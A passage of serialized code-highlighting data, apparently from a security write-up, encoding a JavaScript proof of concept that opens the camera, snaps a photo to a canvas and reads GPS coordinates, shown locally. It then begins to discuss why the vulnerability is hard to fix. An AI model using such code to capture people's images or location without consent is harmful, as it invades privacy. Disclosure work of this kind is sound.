wallet!",{"type":22,"tag":264,"props":158462,"children":158463},{"style":33691},[158464],{"type":27,"value":33745},{"type":22,"tag":264,"props":158466,"children":158467},{"style":4293},[158468],{"type":27,"value":158438},{"type":22,"tag":264,"props":158470,"children":158471},{"style":33691},[158472],{"type":27,"value":7284},{"type":22,"tag":264,"props":158474,"children":158475},{"class":1534,"line":1642},[158476,158480,158484,158488,158492,158497,158501,158505],{"type":22,"tag":264,"props":158477,"children":158478},{"style":33691},[158479],{"type":27,"value":33761},{"type":22,"tag":264,"props":158481,"children":158482},{"style":4293},[158483],{"type":27,"value":618},{"type":22,"tag":264,"props":158485,"children":158486},{"style":1549},[158487],{"type":27,"value":33771},{"type":22,"tag":264,"props":158489,"children":158490},{"style":1539},[158491],{"type":27,"value":429},{"type":22,"tag":264,"props":158493,"children":158494},{"style":1597},[158495],{"type":27,"value":158496},"\"gps\"",{"type":22,"tag":264,"props":158498,"children":158499},{"style":33691},[158500],{"type":27,"value":51386},{"type":22,"tag":264,"props":158502,"children":158503},{"style":4293},[158504],{"type":27,"value":618},{"type":22,"tag":264,"props":158506,"children":158507},{"style":33691},[158508],{"type":27,"value":7284},{"type":22,"tag":264,"props":158510,"children":158511},{"class":1534,"line":1660},[158512,158516,158520,158524,158528,158533],{"type":22,"tag":264,"props":158513,"children":158514},{"style":33691},[158515],{"type":27,"value":33761},{"type":22,"tag":264,"props":158517,"children":158518},{"style":4293},[158519],{"type":27,"value":215},{"type":22,"tag":264,"props":158521,"children":158522},{"style":1549},[158523],{"type":27,"value":33771},{"type":22,"tag":264,"props":158525,"children":158526},{"style":1539},[158527],{"type":27,"value":429},{"type":22,"tag":264,"props":158529,"children":158530},{"style":1597},[158531],{"type":27,"value":158532},"\"pic\"",{"type":22,"tag":264,"props":158534,"children":158535},{"style":33691},[158536],{"type":27,"value":7284},{"type":22,"tag":264,"props":158538,"children":158539},{"class":1534,"line":1668},[158540,158544,158548],{"type":22,"tag":264,"props":158541,"children":158542},{"style":33691},[158543],{"type":27,"value":33761},{"type":22,"tag":264,"props":158545,"children":158546},{"style":4293},[158547],{"type":27,"value":33731},{"type":22,"tag":264,"props":158549,"children":158550},{"style":33691},[158551],{"type":27,"value":7284},{"type":22,"tag":264,"props":158553,"children":158554},{"class":1534,"line":1677},[158555,158560,158564,158569,158573,158578,158582,158586,158590,158594],{"type":22,"tag":264,"props":158556,"children":158557},{"style":1549},[158558],{"type":27,"value":158559},"        window",{"type":22,"tag":264,"props":158561,"children":158562},{"style":4309},[158563],{"type":27,"value":210},{"type":22,"tag":264,"props":158565,"children":158566},{"style":4401},[158567],{"type":27,"value":158568},"addEventListener",{"type":22,"tag":264,"props":158570,"children":158571},{"style":4309},[158572],{"type":27,"value":2660},{"type":22,"tag":264,"props":158574,"children":158575},{"style":1597},[158576],{"type":27,"value":158577},"'unhandledrejection'",{"type":22,"tag":264,"props":158579,"children":158580},{"style":4309},[158581],{"type":27,"value":4380},{"type":22,"tag":264,"props":158583,"children":158584},{"style":4293},[158585],{"type":27,"value":32692},{"type":22,"tag":264,"props":158587,"children":158588},{"style":4309},[158589],{"type":27,"value":4370},{"type":22,"tag":264,"props":158591,"children":158592},{"style":1549},[158593],{"type":27,"value":83454},{"type":22,"tag":264,"props":158595,"children":158596},{"style":4309},[158597],{"type":27,"value":16103},{"type":22,"tag":264,"props":158599,"children":158600},{"class":1534,"line":1686},[158601,158606,158610,158615,158619,158623,158627,158632,158636,158640],{"type":22,"tag":264,"props":158602,"children":158603},{"style":4401},[158604],{"type":27,"value":158605},"            alert",{"type":22,"tag":264,"props":158607,"children":158608},{"style":4309},[158609],{"type":27,"value":2660},{"type":22,"tag":264,"props":158611,"children":158612},{"style":1597},[158613],{"type":27,"value":158614},"`Unhandled Promise Rejection: ",{"type":22,"tag":264,"props":158616,"children":158617},{"style":4293},[158618],{"type":27,"value":35423},{"type":22,"tag":264,"props":158620,"children":158621},{"style":1549},[158622],{"type":27,"value":83454},{"type":22,"tag":264,"props":158624,"children":158625},{"style":4309},[158626],{"type":27,"value":210},{"type":22,"tag":264,"props":158628,"children":158629},{"style":1549},[158630],{"type":27,"value":158631},"reason",{"type":22,"tag":264,"props":158633,"children":158634},{"style":4293},[158635],{"type":27,"value":35455},{"type":22,"tag":264,"props":158637,"children":158638},{"style":1597},[158639],{"type":27,"value":11680},{"type":22,"tag":264,"props":158641,"children":158642},{"style":4309},[158643],{"type":27,"value":5142},{"type":22,"tag":264,"props":158645,"children":158646},{"class":1534,"line":4948},[158647],{"type":22,"tag":264,"props":158648,"children":158649},{"style":4309},[158650],{"type":27,"value":158651},"        });\n",{"type":22,"tag":264,"props":158653,"children":158654},{"class":1534,"line":4957},[158655,158659,158663,158667,158671,158675,158679,158683,158687,158691,158695,158699,158703,158708,158712,158716],{"type":22,"tag":264,"props":158656,"children":158657},{"style":1549},[158658],{"type":27,"value":158559},{"type":22,"tag":264,"props":158660,"children":158661},{"style":4309},[158662],{"type":27,"value":210},{"type":22,"tag":264,"props":158664,"children":158665},{"style":4401},[158666],{"type":27,"value":34004},{"type":22,"tag":264,"props":158668,"children":158669},{"style":4309},[158670],{"type":27,"value":34227},{"type":22,"tag":264,"props":158672,"children":158673},{"style":4293},[158674],{"type":27,"value":32692},{"type":22,"tag":264,"props":158676,"children":158677},{"style":4309},[158678],{"type":27,"value":4370},{"type":22,"tag":264,"props":158680,"children":158681},{"style":1549},[158682],{"type":27,"value":59267},{"type":22,"tag":264,"props":158684,"children":158685},{"style":4309},[158686],{"type":27,"value":4380},{"type":22,"tag":264,"props":158688,"children":158689},{"style":1549},[158690],{"type":27,"value":71701},{"type":22,"tag":264,"props":158692,"children":158693},{"style":4309},[158694],{"type":27,"value":4380},{"type":22,"tag":264,"props":158696,"children":158697},{"style":1549},[158698],{"type":27,"value":1534},{"type":22,"tag":264,"props":158700,"children":158701},{"style":4309},[158702],{"type":27,"value":4380},{"type":22,"tag":264,"props":158704,"children":158705},{"style":1549},[158706],{"type":27,"value":158707},"col",{"type":22,"tag":264,"props":158709,"children":158710},{"style":4309},[158711],{"type":27,"value":4380},{"type":22,"tag":264,"props":158713,"children":158714},{"style":1549},[158715],{"type":27,"value":16163},{"type":22,"tag":264,"props":158717,"children":158718},{"style":4309},[158719],{"type":27,"value":16103},{"type":22,"tag":264,"props":158721,"children":158722},{"class":1534,"line":4980},[158723,158727,158731,158736,158740,158744],{"type":22,"tag":264,"props":158724,"children":158725},{"style":4401},[158726],{"type":27,"value":158605},{"type":22,"tag":264,"props":158728,"children":158729},{"style":4309},[158730],{"type":27,"value":2660},{"type":22,"tag":264,"props":158732,"children":158733},{"style":1597},[158734],{"type":27,"value":158735},"'onerror: '",{"type":22,"tag":264,"props":158737,"children":158738},{"style":4309},[158739],{"type":27,"value":36010},{"type":22,"tag":264,"props":158741,"children":158742},{"style":1549},[158743],{"type":27,"value":59267},{"type":22,"tag":264,"props":158745,"children":158746},{"style":4309},[158747],{"type":27,"value":5142},{"type":22,"tag":264,"props":158749,"children":158750},{"class":1534,"line":4989},[158751,158755,158759],{"type":22,"tag":264,"props":158752,"children":158753},{"style":4328},[158754],{"type":27,"value":80402},{"type":22,"tag":264,"props":158756,"children":158757},{"style":4293},[158758],{"type":27,"value":10354},{"type":22,"tag":264,"props":158760,"children":158761},{"style":4309},[158762],{"type":27,"value":4322},{"type":22,"tag":264,"props":158764,"children":158765},{"class":1534,"line":4998},[158766],{"type":22,"tag":264,"props":158767,"children":158768},{"style":4309},[158769],{"type":27,"value":158770},"        };\n",{"type":22,"tag":264,"props":158772,"children":158773},{"class":1534,"line":5067},[158774],{"type":22,"tag":264,"props":158775,"children":158776},{"emptyLinePlaceholder":17},[158777],{"type":27,"value":4986},{"type":22,"tag":264,"props":158779,"children":158780},{"class":1534,"line":5075},[158781,158786,158790,158794],{"type":22,"tag":264,"props":158782,"children":158783},{"style":4293},[158784],{"type":27,"value":158785},"        async",{"type":22,"tag":264,"props":158787,"children":158788},{"style":4293},[158789],{"type":27,"value":39528},{"type":22,"tag":264,"props":158791,"children":158792},{"style":4401},[158793],{"type":27,"value":92103},{"type":22,"tag":264,"props":158795,"children":158796},{"style":4309},[158797],{"type":27,"value":17036},{"type":22,"tag":264,"props":158799,"children":158800},{"class":1534,"line":5105},[158801,158805,158810,158814,158818,158823,158827,158832,158836,158841,158845,158850,158854],{"type":22,"tag":264,"props":158802,"children":158803},{"style":4293},[158804],{"type":27,"value":152332},{"type":22,"tag":264,"props":158806,"children":158807},{"style":1549},[158808],{"type":27,"value":158809}," stream",{"type":22,"tag":264,"props":158811,"children":158812},{"style":4309},[158813],{"type":27,"value":34227},{"type":22,"tag":264,"props":158815,"children":158816},{"style":4328},[158817],{"type":27,"value":34232},{"type":22,"tag":264,"props":158819,"children":158820},{"style":1549},[158821],{"type":27,"value":158822}," navigator",{"type":22,"tag":264,"props":158824,"children":158825},{"style":4309},[158826],{"type":27,"value":210},{"type":22,"tag":264,"props":158828,"children":158829},{"style":1549},[158830],{"type":27,"value":158831},"mediaDevices",{"type":22,"tag":264,"props":158833,"children":158834},{"style":4309},[158835],{"type":27,"value":210},{"type":22,"tag":264,"props":158837,"children":158838},{"style":4401},[158839],{"type":27,"value":158840},"getUserMedia",{"type":22,"tag":264,"props":158842,"children":158843},{"style":4309},[158844],{"type":27,"value":32813},{"type":22,"tag":264,"props":158846,"children":158847},{"style":1549},[158848],{"type":27,"value":158849},"video:",{"type":22,"tag":264,"props":158851,"children":158852},{"style":4293},[158853],{"type":27,"value":13768},{"type":22,"tag":264,"props":158855,"children":158856},{"style":4309},[158857],{"type":27,"value":40149},{"type":22,"tag":264,"props":158859,"children":158860},{"class":1534,"line":5113},[158861,158865,158870,158874,158878,158882,158886,158890,158895],{"type":22,"tag":264,"props":158862,"children":158863},{"style":4293},[158864],{"type":27,"value":152332},{"type":22,"tag":264,"props":158866,"children":158867},{"style":1549},[158868],{"type":27,"value":158869}," video",{"type":22,"tag":264,"props":158871,"children":158872},{"style":4309},[158873],{"type":27,"value":34227},{"type":22,"tag":264,"props":158875,"children":158876},{"style":1549},[158877],{"type":27,"value":34023},{"type":22,"tag":264,"props":158879,"children":158880},{"style":4309},[158881],{"type":27,"value":210},{"type":22,"tag":264,"props":158883,"children":158884},{"style":4401},[158885],{"type":27,"value":38036},{"type":22,"tag":264,"props":158887,"children":158888},{"style":4309},[158889],{"type":27,"value":2660},{"type":22,"tag":264,"props":158891,"children":158892},{"style":1597},[158893],{"type":27,"value":158894},"\"video\"",{"type":22,"tag":264,"props":158896,"children":158897},{"style":4309},[158898],{"type":27,"value":5142},{"type":22,"tag":264,"props":158900,"children":158901},{"class":1534,"line":5145},[158902,158907,158911,158916,158920,158924],{"type":22,"tag":264,"props":158903,"children":158904},{"style":1549},[158905],{"type":27,"value":158906},"            video",{"type":22,"tag":264,"props":158908,"children":158909},{"style":4309},[158910],{"type":27,"value":210},{"type":22,"tag":264,"props":158912,"children":158913},{"style":1549},[158914],{"type":27,"value":158915},"srcObject",{"type":22,"tag":264,"props":158917,"children":158918},{"style":4309},[158919],{"type":27,"value":34227},{"type":22,"tag":264,"props":158921,"children":158922},{"style":1549},[158923],{"type":27,"value":37576},{"type":22,"tag":264,"props":158925,"children":158926},{"style":4309},[158927],{"type":27,"value":4322},{"type":22,"tag":264,"props":158929,"children":158930},{"class":1534,"line":5153},[158931,158935,158940,158944,158948,158952,158956,158960,158965],{"type":22,"tag":264,"props":158932,"children":158933},{"style":4293},[158934],{"type":27,"value":152332},{"type":22,"tag":264,"props":158936,"children":158937},{"style":1549},[158938],{"type":27,"value":158939}," canvas",{"type":22,"tag":264,"props":158941,"children":158942},{"style":4309},[158943],{"type":27,"value":34227},{"type":22,"tag":264,"props":158945,"children":158946},{"style":1549},[158947],{"type":27,"value":34023},{"type":22,"tag":264,"props":158949,"children":158950},{"style":4309},[158951],{"type":27,"value":210},{"type":22,"tag":264,"props":158953,"children":158954},{"style":4401},[158955],{"type":27,"value":38036},{"type":22,"tag":264,"props":158957,"children":158958},{"style":4309},[158959],{"type":27,"value":2660},{"type":22,"tag":264,"props":158961,"children":158962},{"style":1597},[158963],{"type":27,"value":158964},"\"canvas\"",{"type":22,"tag":264,"props":158966,"children":158967},{"style":4309},[158968],{"type":27,"value":5142},{"type":22,"tag":264,"props":158970,"children":158971},{"class":1534,"line":5213},[158972],{"type":22,"tag":264,"props":158973,"children":158974},{"emptyLinePlaceholder":17},[158975],{"type":27,"value":4986},{"type":22,"tag":264,"props":158977,"children":158978},{"class":1534,"line":10343},[158979,158983,158987,158992,158997,159001],{"type":22,"tag":264,"props":158980,"children":158981},{"style":1549},[158982],{"type":27,"value":158906},{"type":22,"tag":264,"props":158984,"children":158985},{"style":4309},[158986],{"type":27,"value":210},{"type":22,"tag":264,"props":158988,"children":158989},{"style":4401},[158990],{"type":27,"value":158991},"onloadedmetadata",{"type":22,"tag":264,"props":158993,"children":158994},{"style":4309},[158995],{"type":27,"value":158996}," = () ",{"type":22,"tag":264,"props":158998,"children":158999},{"style":4293},[159000],{"type":27,"value":16121},{"type":22,"tag":264,"props":159002,"children":159003},{"style":4309},[159004],{"type":27,"value":4594},{"type":22,"tag":264,"props":159006,"children":159007},{"class":1534,"line":10361},[159008,159013,159017,159022,159026,159030,159034,159039],{"type":22,"tag":264,"props":159009,"children":159010},{"style":1549},[159011],{"type":27,"value":159012},"                canvas",{"type":22,"tag":264,"props":159014,"children":159015},{"style":4309},[159016],{"type":27,"value":210},{"type":22,"tag":264,"props":159018,"children":159019},{"style":1549},[159020],{"type":27,"value":159021},"width",{"type":22,"tag":264,"props":159023,"children":159024},{"style":4309},[159025],{"type":27,"value":34227},{"type":22,"tag":264,"props":159027,"children":159028},{"style":1549},[159029],{"type":27,"value":133158},{"type":22,"tag":264,"props":159031,"children":159032},{"style":4309},[159033],{"type":27,"value":210},{"type":22,"tag":264,"props":159035,"children":159036},{"style":1549},[159037],{"type":27,"value":159038},"videoWidth",{"type":22,"tag":264,"props":159040,"children":159041},{"style":4309},[159042],{"type":27,"value":4322},{"type":22,"tag":264,"props":159044,"children":159045},{"class":1534,"line":10406},[159046,159050,159054,159059,159063,159067,159071,159076],{"type":22,"tag":264,"props":159047,"children":159048},{"style":1549},[159049],{"type":27,"value":159012},{"type":22,"tag":264,"props":159051,"children":159052},{"style":4309},[159053],{"type":27,"value":210},{"type":22,"tag":264,"props":159055,"children":159056},{"style":1549},[159057],{"type":27,"value":159058},"height",{"type":22,"tag":264,"props":159060,"children":159061},{"style":4309},[159062],{"type":27,"value":34227},{"type":22,"tag":264,"props":159064,"children":159065},{"style":1549},[159066],{"type":27,"value":133158},{"type":22,"tag":264,"props":159068,"children":159069},{"style":4309},[159070],{"type":27,"value":210},{"type":22,"tag":264,"props":159072,"children":159073},{"style":1549},[159074],{"type":27,"value":159075},"videoHeight",{"type":22,"tag":264,"props":159077,"children":159078},{"style":4309},[159079],{"type":27,"value":4322},{"type":22,"tag":264,"props":159081,"children":159082},{"class":1534,"line":10512},[159083],{"type":22,"tag":264,"props":159084,"children":159085},{"style":4309},[159086],{"type":27,"value":49394},{"type":22,"tag":264,"props":159088,"children":159089},{"class":1534,"line":24810},[159090],{"type":22,"tag":264,"props":159091,"children":159092},{"emptyLinePlaceholder":17},[159093],{"type":27,"value":4986},{"type":22,"tag":264,"props":159095,"children":159096},{"class":1534,"line":24845},[159097,159102,159106,159111,159115,159119,159123],{"type":22,"tag":264,"props":159098,"children":159099},{"style":1549},[159100],{"type":27,"value":159101},"            connect",{"type":22,"tag":264,"props":159103,"children":159104},{"style":4309},[159105],{"type":27,"value":210},{"type":22,"tag":264,"props":159107,"children":159108},{"style":4401},[159109],{"type":27,"value":159110},"onclick",{"type":22,"tag":264,"props":159112,"children":159113},{"style":4309},[159114],{"type":27,"value":34227},{"type":22,"tag":264,"props":159116,"children":159117},{"style":1549},[159118],{"type":27,"value":52775},{"type":22,"tag":264,"props":159120,"children":159121},{"style":4293},[159122],{"type":27,"value":29065},{"type":22,"tag":264,"props":159124,"children":159125},{"style":4309},[159126],{"type":27,"value":4594},{"type":22,"tag":264,"props":159128,"children":159129},{"class":1534,"line":24853},[159130,159135,159139,159144],{"type":22,"tag":264,"props":159131,"children":159132},{"style":1549},[159133],{"type":27,"value":159134},"                video",{"type":22,"tag":264,"props":159136,"children":159137},{"style":4309},[159138],{"type":27,"value":210},{"type":22,"tag":264,"props":159140,"children":159141},{"style":4401},[159142],{"type":27,"value":159143},"play",{"type":22,"tag":264,"props":159145,"children":159146},{"style":4309},[159147],{"type":27,"value":4977},{"type":22,"tag":264,"props":159149,"children":159150},{"class":1534,"line":24861},[159151],{"type":22,"tag":264,"props":159152,"children":159153},{"emptyLinePlaceholder":17},[159154],{"type":27,"value":4986},{"type":22,"tag":264,"props":159156,"children":159157},{"class":1534,"line":24870},[159158,159162,159166,159171,159175,159180,159184,159189,159193,159197,159201,159205,159209,159213],{"type":22,"tag":264,"props":159159,"children":159160},{"style":1549},[159161],{"type":27,"value":159012},{"type":22,"tag":264,"props":159163,"children":159164},{"style":4309},[159165],{"type":27,"value":210},{"type":22,"tag":264,"props":159167,"children":159168},{"style":4401},[159169],{"type":27,"value":159170},"getContext",{"type":22,"tag":264,"props":159172,"children":159173},{"style":4309},[159174],{"type":27,"value":2660},{"type":22,"tag":264,"props":159176,"children":159177},{"style":1597},[159178],{"type":27,"value":159179},"\"2d\"",{"type":22,"tag":264,"props":159181,"children":159182},{"style":4309},[159183],{"type":27,"value":22049},{"type":22,"tag":264,"props":159185,"children":159186},{"style":4401},[159187],{"type":27,"value":159188},"drawImage",{"type":22,"tag":264,"props":159190,"children":159191},{"style":4309},[159192],{"type":27,"value":2660},{"type":22,"tag":264,"props":159194,"children":159195},{"style":1549},[159196],{"type":27,"value":133158},{"type":22,"tag":264,"props":159198,"children":159199},{"style":4309},[159200],{"type":27,"value":4380},{"type":22,"tag":264,"props":159202,"children":159203},{"style":4344},[159204],{"type":27,"value":5334},{"type":22,"tag":264,"props":159206,"children":159207},{"style":4309},[159208],{"type":27,"value":4380},{"type":22,"tag":264,"props":159210,"children":159211},{"style":4344},[159212],{"type":27,"value":5334},{"type":22,"tag":264,"props":159214,"children":159215},{"style":4309},[159216],{"type":27,"value":5142},{"type":22,"tag":264,"props":159218,"children":159219},{"class":1534,"line":24912},[159220,159225,159229,159234,159238,159243,159247,159251,159255,159260,159264,159269],{"type":22,"tag":264,"props":159221,"children":159222},{"style":1549},[159223],{"type":27,"value":159224},"                stream",{"type":22,"tag":264,"props":159226,"children":159227},{"style":4309},[159228],{"type":27,"value":210},{"type":22,"tag":264,"props":159230,"children":159231},{"style":4401},[159232],{"type":27,"value":159233},"getTracks",{"type":22,"tag":264,"props":159235,"children":159236},{"style":4309},[159237],{"type":27,"value":31482},{"type":22,"tag":264,"props":159239,"children":159240},{"style":4401},[159241],{"type":27,"value":159242},"forEach",{"type":22,"tag":264,"props":159244,"children":159245},{"style":4309},[159246],{"type":27,"value":2660},{"type":22,"tag":264,"props":159248,"children":159249},{"style":1549},[159250],{"type":27,"value":23033},{"type":22,"tag":264,"props":159252,"children":159253},{"style":4293},[159254],{"type":27,"value":29065},{"type":22,"tag":264,"props":159256,"children":159257},{"style":1549},[159258],{"type":27,"value":159259}," t",{"type":22,"tag":264,"props":159261,"children":159262},{"style":4309},[159263],{"type":27,"value":210},{"type":22,"tag":264,"props":159265,"children":159266},{"style":4401},[159267],{"type":27,"value":159268},"stop",{"type":22,"tag":264,"props":159270,"children":159271},{"style":4309},[159272],{"type":27,"value":16724},{"type":22,"tag":264,"props":159274,"children":159275},{"class":1534,"line":24945},[159276,159280,159284,159289,159293,159297,159301,159305],{"type":22,"tag":264,"props":159277,"children":159278},{"style":1549},[159279],{"type":27,"value":159012},{"type":22,"tag":264,"props":159281,"children":159282},{"style":4309},[159283],{"type":27,"value":210},{"type":22,"tag":264,"props":159285,"children":159286},{"style":4401},[159287],{"type":27,"value":159288},"toBlob",{"type":22,"tag":264,"props":159290,"children":159291},{"style":4309},[159292],{"type":27,"value":32838},{"type":22,"tag":264,"props":159294,"children":159295},{"style":1549},[159296],{"type":27,"value":34264},{"type":22,"tag":264,"props":159298,"children":159299},{"style":4309},[159300],{"type":27,"value":4390},{"type":22,"tag":264,"props":159302,"children":159303},{"style":4293},[159304],{"type":27,"value":16121},{"type":22,"tag":264,"props":159306,"children":159307},{"style":4309},[159308],{"type":27,"value":4594},{"type":22,"tag":264,"props":159310,"children":159311},{"class":1534,"line":24953},[159312,159317,159321,159325,159329,159334,159338,159343,159347,159351],{"type":22,"tag":264,"props":159313,"children":159314},{"style":1549},[159315],{"type":27,"value":159316},"                    pic",{"type":22,"tag":264,"props":159318,"children":159319},{"style":4309},[159320],{"type":27,"value":210},{"type":22,"tag":264,"props":159322,"children":159323},{"style":1549},[159324],{"type":27,"value":33985},{"type":22,"tag":264,"props":159326,"children":159327},{"style":4309},[159328],{"type":27,"value":34227},{"type":22,"tag":264,"props":159330,"children":159331},{"style":1549},[159332],{"type":27,"value":159333},"URL",{"type":22,"tag":264,"props":159335,"children":159336},{"style":4309},[159337],{"type":27,"value":210},{"type":22,"tag":264,"props":159339,"children":159340},{"style":4401},[159341],{"type":27,"value":159342},"createObjectURL",{"type":22,"tag":264,"props":159344,"children":159345},{"style":4309},[159346],{"type":27,"value":2660},{"type":22,"tag":264,"props":159348,"children":159349},{"style":1549},[159350],{"type":27,"value":34264},{"type":22,"tag":264,"props":159352,"children":159353},{"style":4309},[159354],{"type":27,"value":5142},{"type":22,"tag":264,"props":159356,"children":159357},{"class":1534,"line":24961},[159358],{"type":22,"tag":264,"props":159359,"children":159360},{"style":4309},[159361],{"type":27,"value":159362},"                });\n",{"type":22,"tag":264,"props":159364,"children":159365},{"class":1534,"line":24970},[159366],{"type":22,"tag":264,"props":159367,"children":159368},{"emptyLinePlaceholder":17},[159369],{"type":27,"value":4986},{"type":22,"tag":264,"props":159371,"children":159372},{"class":1534,"line":25046},[159373,159378,159382,159387,159391,159396,159400,159405,159409],{"type":22,"tag":264,"props":159374,"children":159375},{"style":1549},[159376],{"type":27,"value":159377},"                navigator",{"type":22,"tag":264,"props":159379,"children":159380},{"style":4309},[159381],{"type":27,"value":210},{"type":22,"tag":264,"props":159383,"children":159384},{"style":1549},[159385],{"type":27,"value":159386},"geolocation",{"type":22,"tag":264,"props":159388,"children":159389},{"style":4309},[159390],{"type":27,"value":210},{"type":22,"tag":264,"props":159392,"children":159393},{"style":4401},[159394],{"type":27,"value":159395},"getCurrentPosition",{"type":22,"tag":264,"props":159397,"children":159398},{"style":4309},[159399],{"type":27,"value":2660},{"type":22,"tag":264,"props":159401,"children":159402},{"style":1549},[159403],{"type":27,"value":159404},"pos",{"type":22,"tag":264,"props":159406,"children":159407},{"style":4293},[159408],{"type":27,"value":29065},{"type":22,"tag":264,"props":159410,"children":159411},{"style":4309},[159412],{"type":27,"value":4594},{"type":22,"tag":264,"props":159414,"children":159415},{"class":1534,"line":25079},[159416,159421,159425,159429,159433,159437,159442],{"type":22,"tag":264,"props":159417,"children":159418},{"style":4293},[159419],{"type":27,"value":159420},"                    const",{"type":22,"tag":264,"props":159422,"children":159423},{"style":1549},[159424],{"type":27,"value":38759},{"type":22,"tag":264,"props":159426,"children":159427},{"style":4309},[159428],{"type":27,"value":34227},{"type":22,"tag":264,"props":159430,"children":159431},{"style":1549},[159432],{"type":27,"value":159404},{"type":22,"tag":264,"props":159434,"children":159435},{"style":4309},[159436],{"type":27,"value":210},{"type":22,"tag":264,"props":159438,"children":159439},{"style":1549},[159440],{"type":27,"value":159441},"coords",{"type":22,"tag":264,"props":159443,"children":159444},{"style":4309},[159445],{"type":27,"value":4322},{"type":22,"tag":264,"props":159447,"children":159448},{"class":1534,"line":25087},[159449,159454,159458,159462,159466,159471,159475,159479,159483,159488,159492,159497,159501,159505,159509,159513,159517,159522,159526,159530,159534,159539,159543,159547,159551,159555,159559,159563,159567],{"type":22,"tag":264,"props":159450,"children":159451},{"style":1549},[159452],{"type":27,"value":159453},"                    gps",{"type":22,"tag":264,"props":159455,"children":159456},{"style":4309},[159457],{"type":27,"value":210},{"type":22,"tag":264,"props":159459,"children":159460},{"style":1549},[159461],{"type":27,"value":36278},{"type":22,"tag":264,"props":159463,"children":159464},{"style":4309},[159465],{"type":27,"value":34227},{"type":22,"tag":264,"props":159467,"children":159468},{"style":1597},[159469],{"type":27,"value":159470},"`Lat: ",{"type":22,"tag":264,"props":159472,"children":159473},{"style":4293},[159474],{"type":27,"value":35423},{"type":22,"tag":264,"props":159476,"children":159477},{"style":1549},[159478],{"type":27,"value":4449},{"type":22,"tag":264,"props":159480,"children":159481},{"style":4309},[159482],{"type":27,"value":210},{"type":22,"tag":264,"props":159484,"children":159485},{"style":1549},[159486],{"type":27,"value":159487},"latitude",{"type":22,"tag":264,"props":159489,"children":159490},{"style":4309},[159491],{"type":27,"value":210},{"type":22,"tag":264,"props":159493,"children":159494},{"style":4401},[159495],{"type":27,"value":159496},"toFixed",{"type":22,"tag":264,"props":159498,"children":159499},{"style":4309},[159500],{"type":27,"value":2660},{"type":22,"tag":264,"props":159502,"children":159503},{"style":4344},[159504],{"type":27,"value":602},{"type":22,"tag":264,"props":159506,"children":159507},{"style":4309},[159508],{"type":27,"value":2806},{"type":22,"tag":264,"props":159510,"children":159511},{"style":4293},[159512],{"type":27,"value":35455},{"type":22,"tag":264,"props":159514,"children":159515},{"style":49693},[159516],{"type":27,"value":49696},{"type":22,"tag":264,"props":159518,"children":159519},{"style":1597},[159520],{"type":27,"value":159521},"Lon: ",{"type":22,"tag":264,"props":159523,"children":159524},{"style":4293},[159525],{"type":27,"value":35423},{"type":22,"tag":264,"props":159527,"children":159528},{"style":1549},[159529],{"type":27,"value":4449},{"type":22,"tag":264,"props":159531,"children":159532},{"style":4309},[159533],{"type":27,"value":210},{"type":22,"tag":264,"props":159535,"children":159536},{"style":1549},[159537],{"type":27,"value":159538},"longitude",{"type":22,"tag":264,"props":159540,"children":159541},{"style":4309},[159542],{"type":27,"value":210},{"type":22,"tag":264,"props":159544,"children":159545},{"style":4401},[159546],{"type":27,"value":159496},{"type":22,"tag":264,"props":159548,"children":159549},{"style":4309},[159550],{"type":27,"value":2660},{"type":22,"tag":264,"props":159552,"children":159553},{"style":4344},[159554],{"type":27,"value":602},{"type":22,"tag":264,"props":159556,"children":159557},{"style":4309},[159558],{"type":27,"value":2806},{"type":22,"tag":264,"props":159560,"children":159561},{"style":4293},[159562],{"type":27,"value":35455},{"type":22,"tag":264,"props":159564,"children":159565},{"style":1597},[159566],{"type":27,"value":11680},{"type":22,"tag":264,"props":159568,"children":159569},{"style":4309},[159570],{"type":27,"value":4322},{"type":22,"tag":264,"props":159572,"children":159573},{"class":1534,"line":25095},[159574,159579,159583,159587,159592,159596,159600],{"type":22,"tag":264,"props":159575,"children":159576},{"style":4309},[159577],{"type":27,"value":159578},"                }, ",{"type":22,"tag":264,"props":159580,"children":159581},{"style":1549},[159582],{"type":27,"value":49740},{"type":22,"tag":264,"props":159584,"children":159585},{"style":4293},[159586],{"type":27,"value":29065},{"type":22,"tag":264,"props":159588,"children":159589},{"style":4401},[159590],{"type":27,"value":159591}," alert",{"type":22,"tag":264,"props":159593,"children":159594},{"style":4309},[159595],{"type":27,"value":2660},{"type":22,"tag":264,"props":159597,"children":159598},{"style":1549},[159599],{"type":27,"value":49740},{"type":22,"tag":264,"props":159601,"children":159602},{"style":4309},[159603],{"type":27,"value":8516},{"type":22,"tag":264,"props":159605,"children":159606},{"class":1534,"line":25132},[159607],{"type":22,"tag":264,"props":159608,"children":159609},{"style":4309},[159610],{"type":27,"value":49394},{"type":22,"tag":264,"props":159612,"children":159613},{"class":1534,"line":25145},[159614],{"type":22,"tag":264,"props":159615,"children":159616},{"emptyLinePlaceholder":17},[159617],{"type":27,"value":4986},{"type":22,"tag":264,"props":159619,"children":159620},{"class":1534,"line":25158},[159621],{"type":22,"tag":264,"props":159622,"children":159623},{"style":4309},[159624],{"type":27,"value":4651},{"type":22,"tag":264,"props":159626,"children":159627},{"class":1534,"line":25171},[159628,159633],{"type":22,"tag":264,"props":159629,"children":159630},{"style":4401},[159631],{"type":27,"value":159632},"        main",{"type":22,"tag":264,"props":159634,"children":159635},{"style":4309},[159636],{"type":27,"value":4977},{"type":22,"tag":264,"props":159638,"children":159639},{"class":1534,"line":25225},[159640,159644,159648],{"type":22,"tag":264,"props":159641,"children":159642},{"style":33691},[159643],{"type":27,"value":34144},{"type":22,"tag":264,"props":159645,"children":159646},{"style":4293},[159647],{"type":27,"value":33731},{"type":22,"tag":264,"props":159649,"children":159650},{"style":33691},[159651],{"type":27,"value":7284},{"type":22,"tag":264,"props":159653,"children":159654},{"class":1534,"line":25234},[159655,159659,159663],{"type":22,"tag":264,"props":159656,"children":159657},{"style":33691},[159658],{"type":27,"value":33745},{"type":22,"tag":264,"props":159660,"children":159661},{"style":4293},[159662],{"type":27,"value":33715},{"type":22,"tag":264,"props":159664,"children":159665},{"style":33691},[159666],{"type":27,"value":7284},{"type":22,"tag":264,"props":159668,"children":159669},{"class":1534,"line":33596},[159670,159674,159678],{"type":22,"tag":264,"props":159671,"children":159672},{"style":33691},[159673],{"type":27,"value":33745},{"type":22,"tag":264,"props":159675,"children":159676},{"style":4293},[159677],{"type":27,"value":33698},{"type":22,"tag":264,"props":159679,"children":159680},{"style":33691},[159681],{"type":27,"value":7284},{"type":22,"tag":20197,"props":159683,"children":159684},{"id":1974},[159685],{"type":27,"value":1977},{"type":22,"tag":23,"props":159687,"children":159688},{},[159689],{"type":27,"value":159690},"Unfortunately, there's no simple solution for fixing this vulnerability, as most 